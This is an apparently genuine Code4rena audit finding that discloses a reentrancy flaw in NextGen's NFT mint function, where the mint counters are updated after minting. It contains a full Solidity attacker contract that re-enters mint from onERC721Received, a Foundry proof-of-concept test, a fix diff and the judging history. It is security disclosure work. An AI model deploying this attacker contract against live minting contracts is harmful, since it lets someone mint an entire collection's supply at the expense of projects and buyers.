Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 181/243
Findings: 1
Award: $0.15
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
There are 2 variables that limit the amount of tokens a user can mint.
For allowlist mints we have _maxAllowance
and for public mints we have _maxCollectionPurchases
.
When calling the mint function we have these 2 require statements to check that the user does not mint more tokens than allowed:
Allowlist mint:
require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens,"AL limit");
Public mint:
require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");
gencore.retrieveTokensMintedPublicPerAddress()
returns tokensMintedAllowlistAddress[_collectionID][_address]
and gencore.retrieveTokensMintedALPerAddress()
returns tokensMintedPerAddress[_collectionID][_address]
The problem is that we update these values after actually minting the tokens and thats why an attacker can re-enter the mint function through a custom contract allowing the attacker to mint more tokens than allowed. An attacker could potentially mint the whole supply of a collection this way as all state updates happen after all of the mints.
Below I'll showcase how to actually exploit this bug. (coded foundry test PoC added at the bottom)
We simply have to create an attacker contract which we will use to exploit the mint function.
This attacker contract makes use of the onERC721Received()
hook which gets called if you mint tokens to a contract using safeMint()
and re-enters the mint function of NextGen this way.
Attacker contract:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; interface IMinterContract { function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) external; } interface ICoreContract { function retrieveCollectionAdditionalData(uint256 _collectionID) external view returns (address, uint256, uint256, uint256, uint256, address); } interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } contract Attack { IMinterContract public minterContract; ICoreContract public coreContract; constructor(address _minterContractAddress, address _coreContractAddress) { minterContract = IMinterContract(_minterContractAddress); coreContract = ICoreContract(_coreContractAddress); } function attack(uint256 _collectionId) public { bytes32[] memory merkle = new bytes32[](1); minterContract.mint( _collectionId, 1, 0, "test", address(this), merkle, address(0), 0 ); } function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) { (, , uint256 collectionCirculationSupply, uint256 collectionTotalSupply, , ) = coreContract.retrieveCollectionAdditionalData(1); if (collectionTotalSupply > collectionCirculationSupply) { attack(1); } return IERC721Receiver.onERC721Received.selector; } }
PoC:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import {Test, console} from "forge-std/Test.sol"; import {NextGenCore} from "../../smart-contracts/NextGenCore.sol"; import {NextGenMinterContract} from "../../smart-contracts/MinterContract.sol"; import {NextGenAdmins} from "../../smart-contracts/NextGenAdmins.sol"; import {NextGenRandomizerNXT} from "../../smart-contracts/RandomizerNXT.sol"; import {randomPool} from "../../smart-contracts/XRandoms.sol"; import {DelegationManagementContract} from "../../smart-contracts/NFTdelegation.sol"; import {IERC721} from "../../smart-contracts/IERC721.sol"; import {Attack} from "../../smart-contracts/attack/Attack.sol"; contract ReentrancyPoC is Test { // contracts NextGenCore public coreContract; NextGenMinterContract public minterContract; NextGenAdmins public adminContract; NextGenRandomizerNXT public randomizerContract; randomPool public randomPoolContract; DelegationManagementContract public delegationContract; Attack public attackerContract; // users address public adminAccount = makeAddr("adminAccount"); address public artistAccount = makeAddr("artistAccount"); address public attackerAccount = makeAddr("attackerAccount"); function setUp() public { // set up contracts with the deployment process from the c4 audit page vm.startPrank(adminAccount); adminContract = new NextGenAdmins(); randomPoolContract = new randomPool(); coreContract = new NextGenCore("NextGen", "NG", address(adminContract)); randomizerContract = new NextGenRandomizerNXT(address(randomPoolContract), address(adminContract), address(coreContract)); delegationContract = new DelegationManagementContract(); minterContract = new NextGenMinterContract(address(coreContract), address(delegationContract), address(adminContract)); // set up a collection based on the process from the nextgen docs string[] memory collectionScript = new string[](1); // 1. Create Collection coreContract.createCollection( "Test Collection 1", // _collectionName "Artist 1", // _collectionArtist "For testing", // _collectionDescription "www.test.com", // _collectionWebsite "CCO", // _collectionLicense "https://ipfs.io/ipfs/hash/", // _collectionBaseURI "", // _collectionLibrary collectionScript // _collectionScript ); // 2. Set Collection Data coreContract.setCollectionData( 1, // _collectionID artistAccount, // _collectionArtistAddress 1, // _maxCollectionPurchases 10, // _collectionTotalSupply 200 // _setFinalSupplyTimeAfterMint ); // 3. Add Randomizer coreContract.addRandomizer( 1, // _collectionID address(randomizerContract) // _randomizerContract ); // 4. Set Collection Costs minterContract.setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 0, // _timePeriod 1, // _salesOptions address(0) // _delAddress ); // 5. Set Collection Phases minterContract.setCollectionPhases( 1, // _collectionID block.timestamp, // _allowlistStartTime block.timestamp, // _allowlistEndTime block.timestamp, // _publicStartTime block.timestamp + 1 hours, // _publicEndTime bytes32(0) // _merkleRoot ); // 6. Also add minter contract to core contract coreContract.addMinterContract(address(minterContract)); vm.stopPrank(); // Now we are deploying the attacker contract vm.startPrank(attackerAccount); attackerContract = new Attack(address(minterContract), address(coreContract)); vm.stopPrank(); } function test_ReentrancyAttackInMintFunction() public { // check how many tokens we are allowed to mint uint256 maxAllowedMints = coreContract.viewMaxAllowance(1); assertEq(maxAllowedMints, 1); console.log("Allowed Mints per User: ", maxAllowedMints); vm.warp(block.timestamp + 1); // to start public minting and get out of AL phase vm.startPrank(attackerAccount); attackerContract.attack(1); uint256 attackerBalance = IERC721(address(coreContract)).balanceOf(address(attackerContract)); console.log("Attacker Minted: ", attackerBalance); assertGt(attackerBalance, 1); vm.stopPrank(); } }
Make use of the CEI pattern and update the necessary variables before minting the tokens.
- _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); - if (phase == 1) { - tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = - tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; - } else { - tokensMintedPerAddress[_collectionID][_mintingAddress] = - tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; - } + if (phase == 1) { + tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = + tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; + } else { + tokensMintedPerAddress[_collectionID][_mintingAddress] = + tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; + } + _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
Reentrancy
#0 - c4-pre-sort
2023-11-20T12:45:45Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T14:03:56Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:20:55Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:21:05Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-08T19:17:08Z
alex-ppg marked the issue as satisfactory
#5 - c4-judge
2023-12-09T00:18:52Z
alex-ppg changed the severity to 3 (High Risk)